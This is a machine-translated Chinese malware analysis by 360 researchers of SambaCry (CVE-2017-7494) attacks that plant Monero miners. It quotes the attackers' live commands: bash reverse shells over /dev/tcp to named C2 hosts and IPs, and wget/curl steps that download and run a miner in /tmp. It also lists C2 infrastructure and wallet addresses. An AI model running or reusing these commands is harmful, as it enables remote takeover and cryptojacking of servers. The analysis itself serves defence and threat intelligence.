Author: redrain & houjingyi159 @360网络安全响应中心 2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE…
作者: redrain& houjingyi159 @ 360网络安全反应中心
2017年5月24日,Samba发布了4.6.4版,修复了严重的远程执行代码漏洞,漏洞编号为CVE-2017-7494。该漏洞影响Samba 3.5.0至4.6.4/4.5.10/4.4.14中间的所有版本。 360信息安全部门的360网络安全中心和Gear Security首次分析了该漏洞,并确认这是一个严重的漏洞,可能导致远程代码执行。
http://blogs.360.cn/blog/samba远程执行代码漏洞cve-2017-7494分析/
SambaCry漏洞是一种类似蠕虫的漏洞,具有扩展性。最近,卡巴斯基安全实验室使用SambaCry漏洞捕获了一个利用数字货币挖掘块的恶意机器人。
在这里,360网络安全中心和360追逐团队对事件中使用的后门进行了详细的技术分析。
利用
由于漏洞需要对smb共享驱动器号具有写访问权限,因此卡巴斯基实验室的蜜罐捕获的攻击包中,攻击者首先尝试将具有随机字符名称的文件写入服务器,并在成功后将其删除。

在测试成功具有可写权限后,攻击者猛烈地猜测文件的完整路径以获取共享目录路径并将恶意lib写为有效负载。

在爆破到正确的路径之后,CVE-2017-7494漏洞用于加载恶意lib执行命令,因为samba默认以root权限启动,因此执行后加载lib的命令也将以root权限执行。使用成功后,删除已写入的lib,仅在内存中执行恶意命令操作。
恶意lib样本349d84b3b176bbc9834230351ef3bc2a_16106.so(INAebsGB.so)和2009af3fed2a4704c224694dfc4b31dc_30361.so(cblRWuoCc.so)
样品分析
在INAebsGB.so中,攻击者使用/bin/sh执行非常简单的反弹shell操作来执行下载文件或执行后续命令。

发现这个lib实际上是由metasploit的is_known_pipename模块生成的。
然后,编写了另一个libcblRWuoCc.so。在这个lib中,攻击者将shell弹回C2服务器4000端口并下载了一个挖掘程序,以便将bot用作CPU挖掘器。在此示例中,我们找到了C2服务器和挖掘程序。

执行中的操作:
Bash -i< /dev/tcp/rc.ezreal.space/4000 || ((wgethttp://rc.ezreal.space/minerd64_s -O/tmp/m || curlhttp://rc.ezreal.space/minerd64_s -o/Tmp/m)&& chmod + x/tmp/m&& (nohup/tmp/m&))
攻击者下载http://rc.ezreal.space/minerd64_s并在/tmp/m中执行它以授予nohup权限。
只需查询C2服务器,如下所示:
Rc.ezreal.space
创纪录的149.255.35.33
时间IP国家省/州运营商
2017-05-17 149.255.35.33美国伊利诺伊州swiftway.net
2017-05-15 149.255.35.33美国伊利诺斯州swiftway.net
2017-04-30 185.86.150.76瑞典VästraGötaland
www.ezreal.space 191.101.31.100
Cl.ezreal.space 191.101.31.100
Rc2.ezreal.space 149.255.35.77
Rc.ezreal.space 149.255.35.33
错误的黑客?
连接C2服务器rc.ezreal.space4000端口后,我看到以下脚本:
#!/usr/bin/env bash
主机='149.255.35.33';
Nohup bash -i</dev/tcp/$ {host}/4001&
Nohuo bash -i</dev/tcp/$ {host}/4002&
Nohuo bash -i</dev/tcp/$ {host}/4003&
攻击者想使用nohup来忽略系统挂机并在后台运行,但我不知道这是否是粗心的原因。 Nohup被制成了nohuo。
访问其他三个端口并获取这些脚本:
/tmp nc 149.255.35.33 4001
#!/usr/bin/env bash
#minerd脚本
主机='149.255.35.33';
目标=$ RANDOM;目标+=如此。目标=/TMP/$目标;
猫</dev/tcp/$ {host}/5000> $ target&& chmod + x $ target&& nohup $ target&
/tmp nc 149.255.35.33 4002
#!/usr/bin/env bash
#process guard script
/tmp nc 149.255.35.33 4003
#!/usr/bin/env bash
#auto start script%
由C2中的端口5000获得的矿工程序与从http获得的矿工程序相同。
矿工分析
到目前为止,这个C2服务器仍然存在,下载minerd64_s并对其进行简要分析。这是一个常见的CPU挖掘程序miderd。但是攻击者没有通常的附加参数,而是将所有参数硬编码到程序中。参数。

我很快发现攻击者的地雷和钱包地址为:
.rodata: 0000000000515604 00000026 C stratum + tcp: //xmr.crypto-pool.fr: 3333
.rodata: 00000000005156CC 00000060 C 43xtViRHn1oibjS6yZSSS6XhFFkSRGC5SHgmymH6ei4r5osjPrC1z85BeCZS89ZtL4iDGDoUhEoKtcVe115Wp7sB6XzHmgy
通过挖掘池事务查询,众所周知,攻击者挖掘山寨货币'XDN'和'XMR',检查最近的转移情况,发现收入不错:)
另一次攻击
我认为我们的分析和卡巴斯基现在准备下班回家了,但发现360追逐团队还提供了样本1bb17e0d03ebd5acafbe60b70e38dec4.so(oooo.so)
lib与cblRWuoCc.so非常相似,但操作不同。

只需弹回连接到C2服务器的端口,在连接:后返回一个shell脚本
#!/usr/bin/env bash
#minerd脚本
Pkill .so;
主机='45 .76.146.166' ;
目标=$ RANDOM;目标+=如此。目标=/TMP/$目标;
猫</dev/tcp/$ {host}/5555> $ target&& chmod + x $ target&& nohup $ target&
访问45.76.146.166: 5555并获得一个矿工程序,矿工之间的区别是矿井池和钱包地址
.rodata: 0000000000515604 00000024 C stratum + tcp: //pool.minexmr.com: 4444
.rodata: 00000000005156CC 00000060 C 4AxoWMDfiPkh1PDHeyDi2TRpHC8hxHKY6ACtWRSY9Um4PuwPqjn9vAhdsSshmGu1RbZBUgKX42f584jGENHwXxsVGENHoGV

总结一下
从SambaCry漏洞披露开始,我们预计黑客会恶意使用它并从中获利。与EternalBlue最近爆发的Wannacry事件相比,黑客攻击变得正常,特别是多功能且非常容易。在利用攻击时,攻击也可以随之而来。随着比特币价值的增加,其他虚拟货币的价值也在增加,这也为黑客从网络攻击中获利提供了货币化手段。
时间线
2017-5-24 Samba发布版本4.6.4,修复了远程执行代码漏洞CVE-2017-7494
2017-5-25 360网络安全响应中心和360信息安全部门联合发布预警公告和第一次漏洞分析
2017-5-30 卡巴斯基安全实验室首次通过蜜罐捕获恶意使用SambaCry
2017-6-12 360网络安全响应中心和360追逐团队共同攻击方法技术分析
参考来源
https://securelist.com/sambacry-is-coming/78674/